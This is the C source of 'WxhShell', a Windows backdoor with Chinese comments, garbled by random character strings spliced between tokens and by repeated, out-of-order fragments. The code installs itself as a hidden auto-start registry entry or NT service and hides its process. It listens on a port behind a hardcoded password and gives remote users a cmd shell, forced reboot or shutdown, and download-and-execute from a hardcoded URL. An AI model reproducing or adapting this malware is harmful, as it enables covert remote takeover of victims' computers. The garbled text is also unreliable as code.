B g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sW+YfJT g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %Rr!I:[ $ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ? AP2Opsl TW).j6@f if (!NtQueryInformationProcess) return 0; %@ $h?HP q#v.-013r hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QRdNi1&M if(!hProcess) return 0; $ZYEH %0INtq if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0m)["g4 <1&kCfE& CloseHandle(hProcess); ~X5yHf3 +,7dj:0S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c a_N76o! if(hProcess==NULL) return 0; [e3|yE6 -'JTVfm. HMODULE hMod; ;|w &n char procName[255]; *jGB/ y unsigned long cbNeeded; [6 wI22 [V{JuG;s if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x+|Fw d PqPLy CloseHandle(hProcess); "%urT/Fv& F^_d8=67h if(strstr(procName,"services")) return 1; // 以服务启动 /V~L:0% mLk@&WxG return 0; // 注册表启动 H#k"[eZ } Y_>z"T BzF.KCScs // 主模块 O 4N_lr~ int StartWxhshell(LPSTR lpCmdLine) b@^M|h.Va { lZ0+:DaP2 SOCKET wsl; BQSA;;n] BOOL val=TRUE; yt>Pf<AI int port=0; yNc>s/ struct sockaddr_in door; Yc=y Vh |_F-Abk if(wscfg.ws_autoins) Install(); ,TOLr%+v~n )
EEr? " port=atoi(lpCmdLine); 7t5X 7oF`Os+U if(port<=0) port=wscfg.ws_port; oF.Fg<p( 2P$l XGjh WSADATA data; 5YC56,X if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s7I*=}{g0. ,p1 (0i if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; & /-@R| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .`Z{ptt> door.sin_family = AF_INET; k}ps-w6: door.sin_addr.s_addr = inet_addr("127.0.0.1"); }yx{13:[ door.sin_port = htons(port); z:u`W#Rf B_hob if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (m)%5*: closesocket(wsl); $DA0lY\ return 1; #H
O\I7m } z(.$>O&6H L)8 +/+ if(listen(wsl,2) == INVALID_SOCKET) {
a[";K, closesocket(wsl); @EO#Ms return 1; 1a_;[.s } 7b+OIZB Wxhshell(wsl); Z<jRZH*L WSACleanup(); {N)\It :1_hQeq return 0; =e$
#m; oge^2 } lUUq|Qr `Kym{og // 以NT服务方式启动 (n" ) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P7egT,Z { n,PHfydqX DWORD status = 0; ]~?k%Mpw DWORD specificError = 0xfffffff; MFW?m,It) E>4#j
PK serviceStatus.dwServiceType = SERVICE_WIN32; ~pzaX8! serviceStatus.dwCurrentState = SERVICE_START_PENDING; W:(:hT6`j9 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C^nL{ZP, serviceStatus.dwWin32ExitCode = 0; v^@L?{"}8 serviceStatus.dwServiceSpecificExitCode = 0; y{u6t 3 serviceStatus.dwCheckPoint = 0; YD.3FTNGC serviceStatus.dwWaitHint = 0; |\QR9> O b8[P= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f@LUp^Z/v if (hServiceStatusHandle==0) return; wB9IP{Pf L%B+V;<h3 status = GetLastError(); Td;e\s/] if (status!=NO_ERROR) r0\bi6;s/ { DIk$9$"<x serviceStatus.dwCurrentState = SERVICE_STOPPED; X'kw5P!sq serviceStatus.dwCheckPoint = 0; <ya'L& serviceStatus.dwWaitHint = 0; /@3+zpaw X serviceStatus.dwWin32ExitCode = status; (R6ZoBZ serviceStatus.dwServiceSpecificExitCode = specificError; E*(Q'p9C SetServiceStatus(hServiceStatusHandle, &serviceStatus); GGJ_,S* return; K"}Dbr } Y\+^\`Tqu _
<>+Dk& serviceStatus.dwCurrentState = SERVICE_RUNNING; cYbO)?mC_ serviceStatus.dwCheckPoint = 0; +D
h=D* serviceStatus.dwWaitHint = 0; I]k'0LG*^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <ht>> } Phb<##OB T&R`s+7 // 处理NT服务事件,比如:启动、停止 ~B=\![ VOID WINAPI NTServiceHandler(DWORD fdwControl) 2~ 'Q#( { #m$H'O[WG\ switch(fdwControl) Q@$1!9m { hJ}G5pX case SERVICE_CONTROL_STOP: !?l 23(d serviceStatus.dwWin32ExitCode = 0; E32z(:7M serviceStatus.dwCurrentState = SERVICE_STOPPED; `/ HygC6 serviceStatus.dwCheckPoint = 0; 3_h%g$04s serviceStatus.dwWaitHint = 0; PA,j;{,(b { qWanr7n]@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); *kKGsy } 9txZ6/
return; Ys<wWfW case SERVICE_CONTROL_PAUSE: qL'3MY.! serviceStatus.dwCurrentState = SERVICE_PAUSED; I[4E? break; I?fE=2}9 case SERVICE_CONTROL_CONTINUE:
:lE7v~!Z serviceStatus.dwCurrentState = SERVICE_RUNNING; &1Y+q] break; _p_F v>>: case SERVICE_CONTROL_INTERROGATE: 3/ [= break; KDXo9FzF }; iEU(1?m2- SetServiceStatus(hServiceStatusHandle, &serviceStatus); Etl7V } '@fk(~| &>s(f-\8 // 标准应用程序主函数 AoR`/tr, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }2\"(_ { >|iy= Zn%' ^-ACtA) // 获取操作系统版本 @?1%*/ OsIsNt=GetOsVer(); [=9R5.)c GetModuleFileName(NULL,ExeFile,MAX_PATH); t&&OhHK *,Re&N8 // 从命令行安装 %]R#}amW if(strpbrk(lpCmdLine,"iI")) Install(); ^#=L?e H!Od.$ZIX // 下载执行文件 8odVdivh if(wscfg.ws_downexe) { xO.7cSqgw if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $(NfHIX WinExec(wscfg.ws_filenam,SW_HIDE); S 5d{dTPq } q6ikJ8E8b kl={L{r if(!OsIsNt) { t]` 2f3UO // 如果时win9x,隐藏进程并且设置为注册表启动 q@\_q! HideProc(); sbs"26IE StartWxhshell(lpCmdLine); xv*mK1e } gRFC n6Q else iM956 3v if(StartFromService()) +p[~hM6? // 以服务方式启动 gO/(/e>P StartServiceCtrlDispatcher(DispatchTable); JxvwquI else =3T?U_u@ // 普通方式启动 }+lxja]C StartWxhshell(lpCmdLine); H,I}R :D,YR(]) return 0; ew"Fr1UGYZ } lvN{R{7> oby*.61?5l ;?[~]" {jVFlKP> =========================================== \8$`:3,@ C=]3NB>Jc =;`YtOL #<~f~{x F9<OKcXH Ya_6Zd4O " roA1=G\Q OMZT\$9yT #include <stdio.h> 4tC_W!?$t #include <string.h> g}D$`Nx: #include <windows.h> N<{`n; #include <winsock2.h> BmM,vllO #include <winsvc.h> 7^iAc6QSy3 #include <urlmon.h> x L BG}C q)~qd$yMS #pragma comment (lib, "Ws2_32.lib") 6+FON$8 #pragma comment (lib, "urlmon.lib") #.><A8J 9?:S:Sq #define MAX_USER 100 // 最大客户端连接数 J#kdyBmuO #define BUF_SOCK 200 // sock buffer \fhT#/0N
#define KEY_BUFF 255 // 输入 buffer toWmm(7v ZX0c_Mk= #define REBOOT 0 // 重启 xHGoCFB #define SHUTDOWN 1 // 关机 3dbf! VZ,T`8" #define DEF_PORT 5000 // 监听端口 gfYB|VyWo 3/AUV%+ #define REG_LEN 16 // 注册表键长度 .$k"+E #define SVC_LEN 80 // NT服务名长度 v<SEGv- IBqY$K+l // 从dll定义API /OP*ARoC21 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gctaarB& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Cm4*sN.&) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A1q^E(}O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F[u%t34'
p4t)Z#0 // wxhshell配置信息 V9VP"kD
struct WSCFG { x.yL'J\) int ws_port; // 监听端口 *p3P\ H^5 char ws_passstr[REG_LEN]; // 口令 2{CSH_"Z7 int ws_autoins; // 安装标记, 1=yes 0=no *I67SBt char ws_regname[REG_LEN]; // 注册表键名 >S!DIL char ws_svcname[REG_LEN]; // 服务名 k~R[5W|' char ws_svcdisp[SVC_LEN]; // 服务显示名 ,
.I^ekF char ws_svcdesc[SVC_LEN]; // 服务描述信息 k)s 7Ev* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /)1-^ju int ws_downexe; // 下载执行标记, 1=yes 0=no TJpv"V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K5>:WiY char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @QG1\W' !`_f\ }; =dBrmMh :#}`uR,D/ // default Wxhshell configuration [S:)UvB struct WSCFG wscfg={DEF_PORT, <<6w9wNon "xuhuanlingzhe", G!8pF 1, ?nW#qy!R "Wxhshell", As|/
O7% "Wxhshell", sQZ8<DpB "WxhShell Service", ^WD$
gd "Wrsky Windows CmdShell Service", @>5<m'}2 "Please Input Your Password: ", }^[@m# 1, zRu`[b3u< "http://www.wrsky.com/wxhshell.exe", dLf8w>i`T "Wxhshell.exe" %B*dj9n^q }; mPin\-I B:~;7A\ // 消息定义模块 \NU[DHrMP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l;A_Aii( char *msg_ws_prompt="\n\r? for help\n\r#>"; MuGg
z>CV[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3.X0!M;x char *msg_ws_ext="\n\rExit."; }yw;L(3 char *msg_ws_end="\n\rQuit."; 9/Dt:R3QU char *msg_ws_boot="\n\rReboot..."; N| Pm|w*? char *msg_ws_poff="\n\rShutdown..."; Ra5'x)m36) char *msg_ws_down="\n\rSave to "; ~ fEs!hl sRQh~5kM char *msg_ws_err="\n\rErr!"; ok[=1gA#h char *msg_ws_ok="\n\rOK!"; &.hRVW( W_\L_)^X char ExeFile[MAX_PATH]; AJfi,rFPg int nUser = 0; `uVW<z{l HANDLE handles[MAX_USER]; ;6nZ int OsIsNt; +[/47uFbI -5 /v` SERVICE_STATUS serviceStatus; i8_x1=A SERVICE_STATUS_HANDLE hServiceStatusHandle; |ozoc"' Ok~{@\ // 函数声明 `?^w int Install(void); rJZs
5g` int Uninstall(void); $sF#Na4^ int DownloadFile(char *sURL, SOCKET wsh); e[mhbFf- int Boot(int flag); ,'CWt]OS' void HideProc(void); 7&V^BW int GetOsVer(void); yM:~{;HLF int Wxhshell(SOCKET wsl); h#>L:Wf5E void TalkWithClient(void *cs); i i@1!o int CmdShell(SOCKET sock); F.pHL)37 int StartFromService(void); *}ee"eHs int StartWxhshell(LPSTR lpCmdLine); z-G7Y# 4c[)}8\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6BU0hV VOID WINAPI NTServiceHandler( DWORD fdwControl ); mqk(UOK` &17,]# 3 // 数据结构和表定义 t"/"Ge#a SERVICE_TABLE_ENTRY DispatchTable[] = WG/J4H`Od { 5A$az03y$\ {wscfg.ws_svcname, NTServiceMain}, c4>sE[] {NULL, NULL} .xkV#ol }; KHecc/,,S #oJbrh9J6 // 自我安装 yF5 int Install(void) ht3T{4qCS { _:X|R#d char svExeFile[MAX_PATH]; * \o$-6<
HKEY key; N~;
khS] strcpy(svExeFile,ExeFile); hLbT\J`I zc/%1 // 如果是win9x系统,修改注册表设为自启动 ;%7XU~<a if(!OsIsNt) { QHs:=i~VH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OZ!$%.?l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L\Fu']l RegCloseKey(key); >9<8G]vcH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O%K?l}e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S2ppKlVv RegCloseKey(key); =HV-8C] return 0; `)=A!x y } \As oeeF } Uk*;C } iCnUnR{ else { _d[2_b1 LlA`QLe // 如果是NT以上系统,安装为系统服务 rw8J:?0x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nN=:#4
>Y if (schSCManager!=0) mE^tzyh { >!Ap/{2 SC_HANDLE schService = CreateService nK jeH@ ( \gp,Txueb schSCManager, ?Tc)f_a wscfg.ws_svcname, o%+A<Ri wscfg.ws_svcdisp, A_jB|<bjTP SERVICE_ALL_ACCESS, $]%<r?MUb- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4/2RfDp SERVICE_AUTO_START, 5&HT$"H: SERVICE_ERROR_NORMAL, &AQ;ze svExeFile, 9IvcKzS2 NULL, %kZ~xbY NULL, l0caP( NULL, sh
!~T<yy NULL, u1;e*ty NULL X(!AI|6Bt ); VX!Y`y^a if (schService!=0) ~*mOt7G { %<wQ CloseServiceHandle(schService); u3M`'YCb CloseServiceHandle(schSCManager); ^\vfos strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zY+t ,2z strcat(svExeFile,wscfg.ws_svcname); ) _9e@~, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v$)@AE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /=muj9|+s RegCloseKey(key); D]pK=247 return 0; s-GleX< } 6)#- 5m } rKzv8d CloseServiceHandle(schSCManager); ayH%
qp } |
or 8d>, } T$n>7X-r wWJQ~i? return 1; xxLgC;>[ } _b!;(~@p Nxbd~^j // 自我卸载 xH"W}-#[ int Uninstall(void) ?GUz?'d { Ez/\bE HKEY key; N&I8nZ9 kMl @v` if(!OsIsNt) { 6+Wr6'kuH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .*EOVo9S RegDeleteValue(key,wscfg.ws_regname); R0Ax$Cv{ RegCloseKey(key); ,5eH2W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;&+[W(7Sy RegDeleteValue(key,wscfg.ws_regname); Sv~YFS :oy RegCloseKey(key); @ate49W return 0; *R_'$+ } >9o,S3 } z"6ZDC6 } 7>PF ~= else { 4f4 i1i: O1x0[sy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aCU7w5 if (schSCManager!=0) ']d!?>C@o { T6h;Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8zQ_xE if (schService!=0) 3x"@**(Q { bK03S Vx if(DeleteService(schService)!=0) { kyW6S+ #- CloseServiceHandle(schService); +A8=R%&b)[ CloseServiceHandle(schSCManager); c&7Do} return 0; %rpR-}j } ]]p19 [4s CloseServiceHandle(schService); ]z-']R; } l zfD)TWb CloseServiceHandle(schSCManager); ' "ZRD_" } -H1"OJ2aF
} &YT_#M ?ID* /u|X return 1; v!<PDw2' } hmK8jl<6 j+_S$T8w // 从指定url下载文件 \6`v.B&v int DownloadFile(char *sURL, SOCKET wsh) >AR Tr'B { -"~L2f"? HRESULT hr; LPEjRG, char seps[]= "/"; T&9`?QD char *token; 94T}iY. char *file; P$p@5 hl char myURL[MAX_PATH]; D^66p8t char myFILE[MAX_PATH]; +(;8@"u jd ["eI strcpy(myURL,sURL); o"'iXUJ token=strtok(myURL,seps); 98ca[.ui while(token!=NULL) H|PrsGW { 'R^iKNPs file=token; <A#5v\{.;~ token=strtok(NULL,seps); G_V.H\w } JQ*D GN\8![J GetCurrentDirectory(MAX_PATH,myFILE); wl7 M fyU strcat(myFILE, "\\"); !2GHJHxv]c strcat(myFILE, file); 7<h.KZPc send(wsh,myFILE,strlen(myFILE),0); ixOEdQ send(wsh,"...",3,0);
Y3-]+y%l hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q{a#HnZo" if(hr==S_OK) 84iJ[Fq{ return 0; Z:I*y7V- else }Q/G
&F return 1; B }6Kd ~_ *H)| } 9aT L22U? .D+RLO z // 系统电源模块 F|ETug
n int Boot(int flag) 3H1Pp*PH { .|T2\M HANDLE hToken; ? ouV TOKEN_PRIVILEGES tkp; jMK3T CXBzX:T?# if(OsIsNt) { fucUwf\_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {UP'tXah LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j._G7z/LJ tkp.PrivilegeCount = 1; ;5<P|:^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0r1g$mKb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -Bj.hx* if(flag==REBOOT) { FI\IY
R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '4$lL6ly> return 0; R"NGJu9 } ppEJs else { S,lxM,DL& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) doLkrEm& return 0; Ymq3ty]Pe } dY1J<L}") } aIQOs else { ;U
|NmC + if(flag==REBOOT) { e[s5N:IUd3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /4yOs@# return 0; 0[.3Es:_ } 8GY.){d!l else { |,3l`o
k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7krh4 return 0; EY]a6@; } |Z
d]=tue } moCK-: m)r]F#@/ return 1; pqJ)G;%9 } 5)mVy?Z \[cH/{nt // win9x进程隐藏模块 Y =9j2 ]t void HideProc(void) 4K E)g { UIn^_}jF` 7UnzIe HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /M:H9Z8! if ( hKernel != NULL ) V7P6zAJy { t')h{2&&!2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `Z:3`7c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;J'OakeVO FreeLibrary(hKernel); c)03Ms4
D } z4g+2f7h-X eO'xkm return; Ee8-- } }S,-uggz #'C/Gya // 获取操作系统版本 c -w0 int GetOsVer(void) 2\5cjdy { 9<v}LeX OSVERSIONINFO winfo; sW?B7o? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3EmcYC GetVersionEx(&winfo); or7pJy%4" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) va^0JfQ return 1; A';n6ne%i else ZY)%U*jWU return 0; Pw= 3PvkL } 3 q"7K b{BaQ>.(` // 客户端句柄模块 K}Na3}m int Wxhshell(SOCKET wsl) rhIGOk1k { ]/_G-2.R SOCKET wsh; ~6kJ~R4 struct sockaddr_in client; [%jxf\9jJ_ DWORD myID; FOSbe] )
oxIzF while(nUser<MAX_USER) k Q~ %=pn { |#V(p^ int nSize=sizeof(client); ge$LIsE8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -?5$ PH if(wsh==INVALID_SOCKET) return 1; }'TTtV:Q ywEDy|Wn$~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QF.3c6O@ if(handles[nUser]==0) ;b1wk^,Hw~ closesocket(wsh); gH'_ymT=
3 else { V0>iN:~S nUser++; 7
5|pp } /$Z
m~Mp WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \6:>{0\ 2 h<U return 0; <5I1 DF[ } 5qRc4d' r4?b0&Xq // 关闭 socket 5>P7]?U.] void CloseIt(SOCKET wsh) Oqmg;\pm { 61Bhm:O5W closesocket(wsh); d&u7]<yDA nUser--; ZBJ3 VK ExitThread(0); -w ~(3( } .'/l'> b_=8!Q.: // 客户端请求句柄 2e.N"eLNt void TalkWithClient(void *cs) zKxvN3! { {5-zyE [O_^MA,z SOCKET wsh=(SOCKET)cs; UiIF6-ZZ! char pwd[SVC_LEN]; _f3
WRyN0 char cmd[KEY_BUFF]; (Y2mmd char chr[1]; .T$D^?G!D int i,j; 13a(FG [4XC#OgA while (nUser < MAX_USER) { @KA1"Wb_ sa9fK Z'q if(wscfg.ws_passstr) { l E^*t`+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
c#QFG1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qo_]ZKL44 //ZeroMemory(pwd,KEY_BUFF); e\9g->DUs i=0; _!!}'fMC while(i<SVC_LEN) { VNj@5s ]'k[u // 设置超时 ?'sXgo.} fd_set FdRead; !)c=1EX]" struct timeval TimeOut; ],[)uTZc FD_ZERO(&FdRead); -CD\+d " FD_SET(wsh,&FdRead); ^i'y6J TimeOut.tv_sec=8; :Q-oV8t{ TimeOut.tv_usec=0; d0
-~|`5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HH8;J66I& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); etyCrQ
?U ZXt?[Ll if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :}9j^}"c3 pwd=chr[0]; /K|:9Q$K6 if(chr[0]==0xd || chr[0]==0xa) { nm @']
pwd=0; %!y89x=E break; VE]6wwV2 } TJOvyz`t i++; AIh*1>2Xn } _faJ B@a_ \zu}\{ // 如果是非法用户,关闭 socket =j~Q/-`EC0 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hS:jBp, } +.@c{5J< XdsJwn F send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ooE{V*Ie send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #s2B%X y94kX:q while(1) { %>y;zqZIU QaQ'OrP
ZeroMemory(cmd,KEY_BUFF); p<5!02yQ\ } 0M{A+ // 自动支持客户端 telnet标准 4 x,hj j=0; OCnFEX" while(j<KEY_BUFF) { 0E6lmz`O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kH?#B%N5 cmd[j]=chr[0]; 6Cc7ejt|u if(chr[0]==0xa || chr[0]==0xd) { DMZ`Sx cmd[j]=0; MEq"}zrh break; G {b:i8}l } )~
z Z'^ j++; L.B~ax.|Z } UFEN y."P kdcQw7G // 下载文件 zOGR+Gq_Z if(strstr(cmd,"http://")) { %0XvJF)s send(wsh,msg_ws_down,strlen(msg_ws_down),0); S LGW: if(DownloadFile(cmd,wsh)) ?`AGF%zp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o| D^`Z else 6t}XJB$+7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q*8lnk } ^%#grX# else { aB"xqh)a}T Rj6|Y"gq9 switch(cmd[0]) { HZZDv+ nl
n OwyMJ // 帮助 8Xn!Kpa case '?': { 9.&mz}q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fz}?*vPW break; "!Lkp2\ } :a3xvN-l // 安装 - k`.j case 'i': { "C74 if(Install()) =|SdVv send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4#)6.f~ else &ao(!/im send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Zm Jz break; `ZGcgO<c\ } 4tJa-7 // 卸载 5=Lq=,K$ case 'r': { 8&E}n(XE if(Uninstall()) C6QbBo send(wsh,msg_ws_err,strlen(msg_ws_err),0); js <Ww$zFW else z~Na-N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N:W9}, break; >eS$ } }htPTOy5 // 显示 wxhshell 所在路径 MFwO9"<A case 'p': { YBjdp=als char svExeFile[MAX_PATH]; zY%. Rq- strcpy(svExeFile,"\n\r"); #jS[ strcat(svExeFile,ExeFile); _H\<[-l send(wsh,svExeFile,strlen(svExeFile),0); ~V+l_: break; 3?E}t*/ } dGkgaC+ // 重启 &Lt@} 7$8 case 'b': { C2/}d? bki send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >Ko[Xb-8^_ if(Boot(REBOOT)) \=nrt? send(wsh,msg_ws_err,strlen(msg_ws_err),0); 36$[ else { J(iV0LAZb closesocket(wsh); "2hh-L7ql ExitThread(0); u\g,.C0 } LE;g
0s break; 6 hiC?2b{x } h$fe -G# // 关机 urZ8j?}c case 'd': { )2.)3w1_4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '^}+Fv<O if(Boot(SHUTDOWN)) yV]xRaRr2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); R$6qoqv{yG else {
=r6qX closesocket(wsh); s<7XxQ ExitThread(0); %Fft
R1" } _T*AC. break; LP<<'(l` } |t6~%6^8 // 获取shell 3,6Ox45 case 's': { $H*/;`,\[ CmdShell(wsh); -=5)NH
t closesocket(wsh); .j?kEN?w ExitThread(0); #n7Yr,|Z break; p^X^1X7 } x "\qf'{D // 退出 Pil;/t)" case 'x': { I>n
g` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &<1`O CloseIt(wsh); F
?=9eISLJ break; !% S4n } }ugxN0 // 离开 !j^&gRH case 'q': { bFGDgwe z send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qv{,wytyO closesocket(wsh); >*qQ+_ WSACleanup(); m*n5zi|O exit(1); @Icq1zb]
y break; {fz$Z!8- } `W5-.Tv } h;M3yTM- } oU+F3b}5p eegx'VSX4 // 提示信息 OO-k|\{| if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GozPvR^/ } ctn,
]ld }
BIMKsF Zt h9CIZU[Nh return; +^ yq;z } *'8Ln tZf <nzN $"%
// shell模块句柄 Oh; Jw int CmdShell(SOCKET sock) <kc#thL { =G${[V\ STARTUPINFO si; .SS<MDcqIt ZeroMemory(&si,sizeof(si)); r>|-2}{N/ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @;)PSp*j si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;y1Q6eN PROCESS_INFORMATION ProcessInfo; =8JB8ZFP char cmdline[]="cmd"; p2 ! FcFi CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O)#U ^ return 0; k`VM2+9h'^ } $c9k*3{<+A Tlsa%pn // 自身启动模式 A
Y9
9!p int StartFromService(void) f)NHM' { K+d2m9C= typedef struct ;Icixu'O { X6@w krf- DWORD ExitStatus; !G?gsW0\h DWORD PebBaseAddress; I.V:q!4* DWORD AffinityMask; :b/J\ DWORD BasePriority; gv.6h{Ut ULONG UniqueProcessId; ;O=h$8] ULONG InheritedFromUniqueProcessId; X0$@Ik
} PROCESS_BASIC_INFORMATION; kgW @RD| !1Y&Y@ze PROCNTQSIP NtQueryInformationProcess; b"CAKl r`M6!}oa static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @WOM#Kc static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?Rr2/W#F [EZYsOr. HANDLE hProcess; %&+59vq PROCESS_BASIC_INFORMATION pbi; HuI`#.MpWE 0b-?q&*_ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Sycw %k if(NULL == hInst ) return 0; m $dV< !m y8AWO' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r o\1]`6 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /@Y CA}|/ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J"CJYuGW, <"tDAx if (!NtQueryInformationProcess) return 0; x]4Kkpqm Gi?_ujZR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !@L=;1, if(!hProcess) return 0; ocQWQ {{{#?~3$7 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R[Fn0fnLx 9lzQ\} CloseHandle(hProcess); 1{PG>W i*[n{=*l@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IOl+t,0x& if(hProcess==NULL) return 0; l*}FXL
